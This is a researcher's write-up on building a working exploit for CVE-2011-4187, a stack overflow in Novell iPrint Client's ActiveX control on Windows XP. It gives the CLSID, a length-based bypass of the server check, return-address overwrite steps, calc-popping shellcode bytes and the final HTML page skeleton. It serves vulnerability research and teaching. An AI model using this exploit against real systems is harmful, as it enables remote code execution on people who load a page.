CVE-2011-4187
Stack buffer overflow in IppGetDriverSettings2 (nipplib.dll, Novell iPrint Client < 5.78). Reachable from a web page through the iPrint ActiveX controller (CLSID 36723F97-7AA0-11D4-8919-FF2D71D0D32C) on Windows XP. No public exploit at the time of research.
What we start with
A CVE number and one line on cvedetails:
Buffer overflow in the GetDriverSettings function in nipplib.dll in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.
That is the whole public record. No exploit, no write-up, no advisory detail beyond the sentence above. We know the vulnerable function, we know the parameter that reaches it, and we know it is a buffer overflow. Everything between that sentence and a running shellcode is ours to find.
The client only installs on Windows XP, so the work runs on a Windows XP SP3 virtual machine, with a Windows 10 box alongside for the SDK tooling. IDA for the static work, x64dbg for the dynamic work.
Finding the controller
The iPrint client ships an ActiveX controller, which is what makes this reachable from a web page at all. Searching the registry for Novell iPrint gives its CLSID:

The controller itself is ienipp.ocx, in C:\Windows\system32\, and the heavy lifting is delegated to nipplib.dll sitting next to it. Both are worth listing before opening either:

Browsing ienipp.ocx with the OLE/COM Object Viewer from the Windows 10 SDK lists every method the control exposes to a page:

GetDriverSettings is there, the name the CVE gives us, along with a GetDriverSettings2 variant. Instantiating the control from an HTML page and calling it is four lines:
<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings("uri", "realm", "user", "password");
</script>
</html>
Before spending a day in a disassembler it is worth proving the plumbing works. The control exposes a ShowMessageBox method, which is the cheapest possible test:


The CLSID is right, the calling convention is right, and a page can drive the control. Now we can go looking for the bug.
Reversing ienipp.ocx
Opening ienipp.ocx in IDA prompts for nipplib.dll, which is already a hint: the control is a front end and the real code lives in the library. We hand IDA the DLL from system32 and let it resolve.
Searching the imported functions for GetDriverSettings finds the entry point:

Following its cross-references shows it is called from exactly one place:

One call site, at ienipp.ocx:0x1000AE54. The block that leads to it is dense, and its strings are discouraging:

ipp://%s/ipp/IppSrvr sits right there, with %s waiting for the printer URL we control. The obvious reading is that the control talks to a real IPP server on port 631, and that nothing interesting happens until one answers correctly. That reading costs a lot of time, and the whole exploit is in seeing past it.
This is a write-up, not a full disassembly listing. I will not walk every block I read, only the branches that decide something, and I will sum up the state after each one.
Two gates stand between a page calling the method and the vulnerable function running.
The first is a length check on each of the four parameters, printerUri, realm, userName and password, applied at the very top of the block:

Anything past 0x200 bytes is rejected here, before anything else runs. Keep that ceiling in mind, because it is what makes the rest of the bypass possible.
The second gate is the main block of the series:

The call marked in red decides the next jump. If sub_1000FBD0 returns anything other than zero, the vulnerable call is skipped and we jump straight to the end of the function. If it returns zero, and one further length check passes, the vulnerable function is called. That makes sub_1000FBD0 the gate that matters, so we rename it important_check and read it.

It is short. It calls IppMgmtGetServerVersion2, exported by nipplib.dll, and returns zero when that function returns zero:

That is everything the .OCX has to tell us. Two conditions reach the bug:
- the four parameters stay under
0x200bytes each, IppMgmtGetServerVersion2returns zero.
The second one is where the work is, and it lives in the library.
Reversing nipplib.dll
We open nipplib.dll on its own. IppGetDriverSettings2 is the eventual target, but there is no point reversing a function we cannot reach, so IppMgmtGetServerVersion2 comes first.

It forwards to sub_5C04B514, which is where the logic is:

A lot happens in there, and the IPP requests are somewhere inside it. The first idea that comes to mind is that we need a server to answer them.
Step back and read the graph as a set of conditions rather than as a protocol implementation, forgetting for a moment what the function is supposed to achieve, and a different question presents itself. The function returns -1 when it cannot get the server version, and we need zero. So: which jumps end at a return 0 block?
The first one does.

One of its two paths lands directly on a block that sets the return value to zero, with no further checks on the way:

The condition is backwards. If IppCreateServerRef returns NULL, IppMgmtGetServerVersion2 returns zero, and zero is the success code. An allocation and setup failure is being reported as a successful version probe. This is a programming logic bug: an error path that was never given its own return value.
The consequence is large. We do not have to satisfy the handshake, we have to break it. No server, no port 631, no negotiation, and no need to reverse the rest of the function at all. The whole checking process has a hole in it, and it is visible in the control flow graph without running anything.
So the question becomes: how do we make IppCreateServerRef fail?
A word on the dynamic side
Every time I needed to know what a function actually receives, or how the program behaves on a given return value, I ran Internet Explorer under x64dbg on the Windows XP machine, put a breakpoint on the call and read the stack. I will not repeat this for every function, so here is one example, on IppCreateServerRef:


The parameters pushed on the stack are the URL we passed in printerUri. So IppCreateServerRef is checking our URL, and with any luck it decides its return value without ever touching the network.
Making IppCreateServerRef fail
Back in IDA, we look for a block that returns failure and work out how to reach it:

The first jump depends on an allocator result, which we have no influence over. The second one depends on sub_50022960: if that helper returns anything other than zero, IppCreateServerRef takes the failure path, which is exactly what we want.

sub_50022960 checks the URL twice. The first check is on the total URL length, capped at 0x200. That would be an easy way to fail the function, except the .OCX already rejects any parameter past 0x200 before we ever get here, so this check can never trip.
The second check is more useful, and dynamic debugging is what surfaced it:

It measures the part of the URL that precedes ://. Here I passed testingipp as a test case. If that prefix exceeds 0x100 bytes, the function fails. That is the lever: we need a long prefix, long enough to fail this check, while the URL as a whole stays under the 0x200 the .OCX allows.
The chain, end to end
Four links, each one following from the last:
- A URL prefix longer than
0x100bytes, in a URL shorter than0x200bytes, makessub_50022960fail. sub_50022960failing makesIppCreateServerRefreturnNULL.IppCreateServerRefreturningNULLmakesIppMgmtGetServerVersion2return zero, which is its success code. This is the logic bug.IppMgmtGetServerVersion2returning zero makesimportant_checkreturn zero, andIppGetDriverSettings2is called with our arguments.
No server anywhere in that chain.
A theory is worth nothing until it runs, so we write a URL with a long prefix:

Then set a breakpoint on the IppGetDriverSettings2 call and load the page:

We reach the call. The bypass works, and it cost one long string. An error status handled carelessly took us straight to a critical function that would otherwise have needed a full IPP server implementation to reach, and possibly could not have been reached at all.
I insist on this because my first attempt was the other one. I built and emulated an IPP server, answering request by request, before noticing the branch above. That work is in the last section of this post; it produced nothing and I dropped it.
The vulnerable function
IppGetDriverSettings2 has one more gate before any interesting code, an strstr on the URL:

If the URL does not contain the literal iPrint-driver-profile-hiddenPA, the function returns. So we put that string in the suffix, after the ://, and move on. There is presumably a good reason for it inside the driver profile flow, and I did not look for it.
That is a choice worth stating plainly, because it comes up constantly when reversing something this size. We cannot understand all of a binary this large, so we understand the parts that stand between us and the goal, and we leave the rest. A string check we can satisfy in one line does not need a rationale.
Now the bug itself. We know it is a buffer overflow on realm, and one strcpy among the many in this function takes realm as its source:

The destination is a fixed-size stack buffer and nothing measures the source. Passing a realm of 0x200 bytes, the largest the .OCX will pass through, should overflow it well past the saved return address.
Exploitation
Two operational notes before the debugging starts, both of which cost me time.
Once the controller crashes, it keeps crashing on every subsequent call, so the Windows XP machine needs a reboot between attempts. I never established why.
And attaching a debugger requires a running process, so each round starts by loading a harmless payload, AAAA in every field, attaching x64dbg to Internet Explorer, and only then opening the real page.
Controlling EIP
First attempt, realm filled with A up to the cap:

Continuing to the crash and reading the registers:

The overflow happened, but the crash is not the one we want. EIP is intact; EBX holds 0x41414141 and the fault is inside a strlen that received it as an address. We overwrote a pointer that a later call in the same frame uses, and it died before the function could return.
There are two possibilities in that situation, and they point in opposite directions. Either we wrote too far and should shorten the payload, or we did not write far enough, and the fix is to write more while replacing the bytes that cause the early crash with something valid. That second technique is worth knowing: when a program dies before reaching the saved return address, give it the minimum it needs not to die, usually any mapped address, since whatever it does with it stops mattering the moment we take the execution flow.
Here the choice is made for us. The .OCX caps us at 0x200 bytes, so growing the payload is not an option and we shorten it instead:


The overflow now stops exactly on the saved return address, ret loads it, and EIP is ours.

When the offset is not obvious, removing characters until the crash changes is one way to find it, and a cyclic pattern such as AAAABBBBCCCCDDDD is the faster one.
Windows XP SP3 in this configuration has neither DEP nor ASLR, so from here the remaining work is bookkeeping:
- get a shellcode that pops
calc.exe, - write it into one of the other parameters,
- run a payload that does not crash, and read the address that parameter landed at,
- without rebooting, so the address stays valid, build the overflow payload with that address in place of
0x41414141, - load it.
The shellcode
realm cannot carry both the padding to the saved return address and a shellcode. The other three parameters are pushed on the stack ahead of it and are not put through the same downstream processing, so userName is the natural place to store it.
A pop-calc shellcode for Windows XP SP3 EN, sixteen bytes, originally from shell-storm (archived copy, the domain no longer resolves):
"\x31\xC9" // xor ecx, ecx
"\x51" // push ecx
"\x68\x63\x61\x6C\x63" // push 0x636c6163 ('calc')
"\x54" // push esp
"\xB8\xC7\x93\xC2\x77" // mov eax, 0x77c293c7
"\xFF\xD0" // call eax
Splicing raw bytes into an HTML file is what xxd -p -r is for. The page we load first carries the shellcode in userName and a harmless realm, so nothing overflows:

Finding its address
With a breakpoint on the IppGetDriverSettings2 call, the arguments are on the stack and the third one is userName:

0x02843728 on this run, and dumping that address shows the shellcode sitting there. The layout is stable enough across calls that the address holds for the next one, as long as the process is not restarted.
Jumping to it
The last payload replaces the 0x41414141 filler at the saved-return-address offset with 0x02843728, little-endian:

$ xxd -p -r payload > win_payload.html
Which gives a page whose call looks like this, abbreviated:
<script>
target.GetDriverSettings(
"<0x100+ bytes of filler>://iPrint-driver-profile-hiddenPA",
"<padding to the saved return address>\x28\x37\x84\x02",
"<calc shellcode bytes>",
"A");
</script>
Detach the debugger, load the page in Internet Explorer:

Arbitrary code execution from a single HTML page, with no IPP server anywhere.
Paths that failed
Both of the routes below came before the one above, and neither reached the result. They are worth writing down: the first is the reason the logic bug is interesting, and the second is a dead end with a provable reason for being dead, which is more useful than an inconclusive one.
Emulating an IPP server
Before noticing that IppCreateServerRef failing is treated as success, the obvious plan was to make IppMgmtGetServerVersion2 succeed honestly by answering the requests it makes. I gave a machine a domain name, opened port 631 with nc and waited to see what the client sends:
$ nc -lvp 631
Listening on [0.0.0.0] (family 0, port 631)
Connection from x.x.x.x 35136 received!
POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
Accept-Charset: UTF-8,ISO-8859-1
Accept-Language: en-us, en
User-Agent: Novell iPrint Client - v05.74.00
Cache-Control: no-cache
Pragma: no-cache
Host: iprint.local-intranet-do.cf:631
Content-type: application/ipp
Connection: keep-alive
Content-length: 112
@G..attributes-charset.utf-8.H..attributes-natural-language.en-us.D.operation-name.get-server-version.server-version.1.1
So the POST to /ipp/IppSrvr has to succeed. Reversing IppMgmtGetServerVersion2 further shows three calls that matter:

The first makes the network request. The second, nipplib.5C0450B3, is a large set of tests on the answer. The third runs additional checks and is called when the second fails. Everything depends on the second one, so that is the one I read:

- A version-number is read from the first bytes of the response body. Sending
0x100or0x101passes it. - The IPP HTTP header is validated. I set up a CUPS server, captured what it replies to a real client, and reused its header verbatim.
- A
server-versionattribute has to be present in the attribute group.IppFindAttributeInSetwalks the attributes received and compares each name against the one requested.
Encoding an attribute group correctly means reading the specification, RFC 8010, which lays out the message format field by field:
-----------------------------------------------
| version-number | 2 bytes - required
-----------------------------------------------
| operation-id (request) |
| or | 2 bytes - required
| status-code (response) |
-----------------------------------------------
| request-id | 4 bytes - required
-----------------------------------------------
| attribute-group | n bytes - 0 or more
-----------------------------------------------
| end-of-attributes-tag | 1 byte - required
-----------------------------------------------
| data | q bytes - optional
-----------------------------------------------
My replies got progressively further into the validation, and then every iteration died inside a strlen on a NULL argument, which points at another attribute or data field the client expects and I was not sending. I stopped there, because by that point I had found the branch that makes all of this unnecessary.
Overflowing the ciphertext instead of the cleartext
While hunting for the right realm length, an input too short to reach the saved return address directly still managed to corrupt it, through a second buffer.
A function downstream of the strcpy runs realm through an internal block cipher: eight-byte blocks, a large static key in .data, and the result written into a separate stack buffer with sprintf("%02hhX", b), so the output is twice the length of the input. Short enough to miss the first overflow, long enough to overrun that second buffer, and EIP is controlled again, but through the hex text rather than through our own bytes.
The cipher is small enough to lift into C and run offline once the key is recovered from memory:
unsigned int shift_on_key(unsigned int tmp_bloc) {
unsigned int idx;
unsigned int s1, s2, s3, s4;
idx = ((tmp_bloc >> 24) & 0xff) * 4 + 0x048;
s1 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
idx = ((tmp_bloc >> 16) & 0xff) * 4 + 0x448;
s2 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
idx = ((tmp_bloc >> 8) & 0xff) * 4 + 0x848;
s3 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
idx = (tmp_bloc & 0xff) * 4 + 0xc48;
s4 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
return (((s2 + s1) ^ s3) + s4);
}
/* get_new_key derives (key_part1, key_part2) from the previous key
through 18 rounds of shift_on_key and xor with the static key blocs. */
int main(int argc, char **argv) {
char *entry = argv[1];
int i = 0;
get_new_key(key, the_key);
while (entry[i]) {
for (int b = 0; b < 8; b++) {
unsigned int kpart = (b < 4) ? key_part1 : key_part2;
unsigned int sh = (3 - (b & 3)) * 8;
if (entry[i]) newbuf[i] = entry[i] ^ ((kpart >> sh) & 0xff);
i++;
}
/* feed the swapped output bloc back as the next old key, re-derive */
get_new_key(key, the_key);
}
/* hex-encode newbuf into realbuf with sprintf("%02hhX", ...) */
}
Searching for an input whose ciphertext ends in the bytes we want gives one ending in \xAA\xAA, which hex-encodes to AAAA, so EIP becomes 0x41414141:
$ ./a.out $(python -c 'print "B"*132 + "\x43\x90"')
... 3CCAF8EFDA95CFDA49177C2EAAAA
EIP control through this path is real, and the path is still dead, for a reason the C reimplementation makes obvious. sprintf("%02hhX", b) emits two ASCII hex digits per byte, so every byte that reaches EIP is one of 0x30 to 0x39 or 0x41 to 0x46. No address in any loaded module, and no address on the stack, is spelled entirely in that alphabet. There is no search to run and no cleverness to apply: the encoding removes the addresses we would need before we get to choose one.
Knowing that is worth the detour. A path abandoned because it did not seem to work leaves you wondering; a path abandoned because its output alphabet cannot contain the answer is closed.
Conclusion
The buffer overflow in this CVE is the least interesting part of it. One strcpy with an unmeasured source, on a platform with no DEP and no ASLR, on a parameter a web page hands over directly. Everything that made this exercise worth several days sat in front of the bug rather than in it.
What actually decided the outcome:
- Error paths are where the gaps are.
IppCreateServerRefreturningNULLreports as success, and that single mishandled status is a complete bypass of the server handshake. It is visible in the control flow graph, with no debugger and no server, to anyone willing to read the graph as conditions rather than as a protocol. - Length caps in different binaries can be played against each other. The
0x200ceiling inienipp.ocxis what leaves room to overshoot the0x100prefix check insidenipplib.dlland fail it on purpose. - Understand only what stands between you and the goal. The
iPrint-driver-profile-hiddenPAstring has a reason to exist that I never learned, and it made no difference to the result. - A failed path is worth reproducing far enough to know why it failed. Rebuilding the
realmcipher in C turned an inconclusive dead end into a structural one.
